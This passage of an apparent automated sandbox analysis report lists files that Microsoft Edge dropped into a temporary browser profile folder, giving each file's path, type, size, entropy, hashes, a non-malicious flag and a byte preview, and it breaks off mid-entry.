SSDEEP:	3:LsNltxLllll:Ls3Xllll
MD5:	3A79C4B060718928AC42A1A5869C86B4
SHA1:	2572E4930B5D9EB7C7B36E2F7D4A79519B305475
SHA-256:	EEBFDE336A2B03E06CB1FE809CB75335A64F5D63D24017BED14D6AABD44D6F7A
SHA-512:	38511397ACC921A9C8659A77334AB49BBCE928B9F77AB4FC419214F36B491A408F36AC14557A5B503166D02DDEAC8BEDBF027354860D007651171AC314E67BE4
Malicious:	false
Preview:	............................................../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\History

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\HubApps Icons

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Local Storage\leveldb\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Local Storage\leveldb\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.376271616567877
Encrypted:	false
SSDEEP:	6:YUJXHM1e0i23fQX8a2jM8B2KLlapq2Pe0i23fQX8a2jMGIFUv:YUZHkZW8jFLQpvvZW8EFUv
MD5:	0E9F482B272F701F35B620A85A3F37FB
SHA1:	84630FA0F692B9E427D125965DA5A169C03D2505
SHA-256:	AB88545F61171C321A072B0EE3A872D3803BB93DDF33B5AF09C3FFE3A67BF25C
SHA-512:	193D1BDD36168632CDA4E2549F150F6CE964B31310CD3D2A9BE946A44728FF5120B7ADB0EABD3E47EC8D7529FFF3AA64675D56018F7933D5BF3389222236F1BA
Malicious:	false
Preview:	2024/12/05-04:39:43.168 1634 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Local Storage\leveldb since it was missing..2024/12/05-04:39:43.239 1634 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Local Storage\leveldb\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Login Data

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Network\207cd8e9-0465-4806-a380-04d05d53df3b.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Network\6842e756-4502-4447-aa33-e2df5d971cfb.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Network\Cookies

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Network\Reporting and NEL

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	modified
Size (bytes):	36864
Entropy (8bit):	0.5559635235158827
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:OIEumQv8m1ccnvS6
MD5:	9AAAE8C040B616D1378F3E0E17689A29
SHA1:	F91E7DE07F1DA14D15D067E1F50C3B84A328DBB7
SHA-256:	5B94D63C31AE795661F69B9D10E8BFD115584CD6FEF5FBB7AA483FDC6A66945B
SHA-512:	436202AB8B6BB0318A30946108E6722DFF781F462EE05980C14F57F347EDDCF8119E236C3290B580CEF6902E1B59FB4F546D6BD69F62479805B39AB0F3308EC1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Network\Trust Tokens

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Network\f4084822-0bd2-4520-b923-acf390012d23.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Nurturing\campaign_history

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.46731661083066856
Encrypted:	false
SSDEEP:	12:TL1QAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3is25q0S9K0xHZ75fOV:TLiOUOq0afDdWec9sJf5Q7J5fc
MD5:	E93ACF0820CA08E5A5D2D159729F70E3
SHA1:	2C1A4D4924B9AEC1A796F108607404B000877C5D
SHA-256:	F2267FDA7F45499F7A01186B75CEFB799F8D2BC97E2E9B5068952D477294302C
SHA-512:	3BF36C20E04DCF1C16DC794E272F82F68B0DE43F16B4A9746B63B6D6BBC953B00BD7111CDA7AFE85CEBB2C447145483A382B15E2B0A5B36026C3441635D4E50C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\README

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.7273991737283296
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFl:S85aEFl
MD5:	9F7EADC15E13D0608B4E4D590499AE2E
SHA1:	AFB27F5C20B117031328E12DD3111A7681FF8DB5
SHA-256:	5C3A5B578AB9FE853EAD7040BC161929EA4F6902073BA2B8BB84487622B98923
SHA-512:	88455784C705F565C70FA0A549C54E2492976E14643E9DD0A8E58C560D003914313DF483F096BD33EC718AEEC7667B8DE063A73627AA3436BA6E7E562E565B3F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f...............

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	269
Entropy (8bit):	5.286900698182733
Encrypted:	false
SSDEEP:	6:Y4Vdp+q1e0i23fQXrQM72KLlaCuivIq2Pe0i23fQXrQMxIFUv:Y4Tp+6ZW/LQDDvvZWCFUv
MD5:	01E91A07825D9DCD9A63FA583476C215
SHA1:	D9AEB3E6951D070AEC6C9AD90B382BE7F11ECD3F
SHA-256:	F236E6C2B2FE70443C6196224735AAA6B1190ADA1D5A4FCBBC2BB1960491CB03
SHA-512:	CDDAE583E62ED513C0B45BBC7FBE0A4D9105C7C27D7746A1D1A5CA3D91EA0A9ABDC423EFA34A0ECD1A3C936FD359362D44547F0CC4D595D836695B2A3BB6DB0A
Malicious:	false
Preview:	2024/12/05-04:39:43.330 1740 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage since it was missing..2024/12/05-04:39:43.505 1740 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Session Storage\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.247406007198513
Encrypted:	false
SSDEEP:	6:YxYccHM1e0i23fQX7Uh2gr52KLlaxiBWjyq2Pe0i23fQX7Uh2ghZIFUv:Y6kZWIhHJLQw0jyvvZWIhHh2FUv
MD5:	B832470B0551EFACB085A78750B26D5B
SHA1:	A81A85CDF31A86A4F7056027FF33DBD7BD2C65CF
SHA-256:	F90ADEB131F5F8EE8C6A46117759A61F56C4750294A9DBC19FD80BA12B1E44B3
SHA-512:	2250C042C86254F18F664DDBCAA66F43CC4870CF8A73E1C978B9544650009E123CBABA3090AB3986BEDAC5B2233CF4CF42E950071A2406360BC39885C816CA15
Malicious:	false
Preview:	2024/12/05-04:39:42.549 1814 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database since it was missing..2024/12/05-04:39:42.705 1814 Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Site Characteristics Database\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:Z1Tp0ESVBxi+:H1mi+
MD5:	8E964E0FC3A8B457ADF8FAF063881CF5
SHA1:	4CF9F19CF75C1912D1CB32A4880511CC4613832B
SHA-256:	B7ECC747C60F2CE4527A67DB29AB9C206214C75868155D447CAB3CB6C2E3049A
SHA-512:	860598125CADC2683D54839ADCFD452701B3225F5FAE7E205A7D270B9DF4221FAA0A2C946BA84712E33B44E6939BD04CEEC4E25279B6B85389139EE2B90FA01B
Malicious:	false
Preview:	(...D.9@oy retne..........................$.../.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	5.218028153474993
Encrypted:	false
SSDEEP:	3:tRmB+u3CXFDFmXHM2bnF5OerbJSRE2J5xAIQnWmj/KKjqEKIZjNhm3K/2RKUDQT0:Y3CXaXHM1e0i23fQXzjqEKj3K/2jM8BL
MD5:	478A04D27C630D47BC458C1248DC1791
SHA1:	633F479ACB23339537FD8B035236760D633F7ABA
SHA-256:	B1176CE7AA07D8C650A848FE2C2FD5B9C28DD2A5CC0D7DDA594E17AF61DE8477
SHA-512:	9EF8A121E64B50459BB4AE5845ADAFFCBB85ACA98CBD1BCFC582BEA5DF35F78C397F966E51E5366275BD37FA63064AC7F4EFBE12A0F264AEADC2341A01E885CE
Malicious:	false
Preview:	2024/12/05-04:39:44.012 1634 Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb since it was missing..

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.334029212355882
Encrypted:	false
SSDEEP:	6:Yxijv1e0i23fQXBx2KLlaxmRL+q2Pe0i23fQXpIFUv:YwdZWBVLQ05+vvZWmFUv
MD5:	41EAF5AB31B8BA7A4F72F1F69F827B71
SHA1:	5AE858BC7FBE3B5C4C6F29DC1A31F8C5612B8674
SHA-256:	FBC00A843EE79ABE3970FA3EF7FE14B5E7D384FEB0FEF6FFC7F9D4163B9B7E24
SHA-512:	CEA7AE26A3C27DDAF24EC429407990449C34E6BFB55AA369F310DDF6B8A2E778FFE0938602C81AF978879F7A3FADCCF55EDA0AAE48D732E7EFCFB9264CC5AD91
Malicious:	false
Preview:	2024/12/05-04:39:42.704 b3c Creating DB C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB since it was missing..2024/12/05-04:39:42.740 b3c Reusing MANIFEST C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Sync Data\LevelDB\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\chrBB3.tmp\Default\Top Sites

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
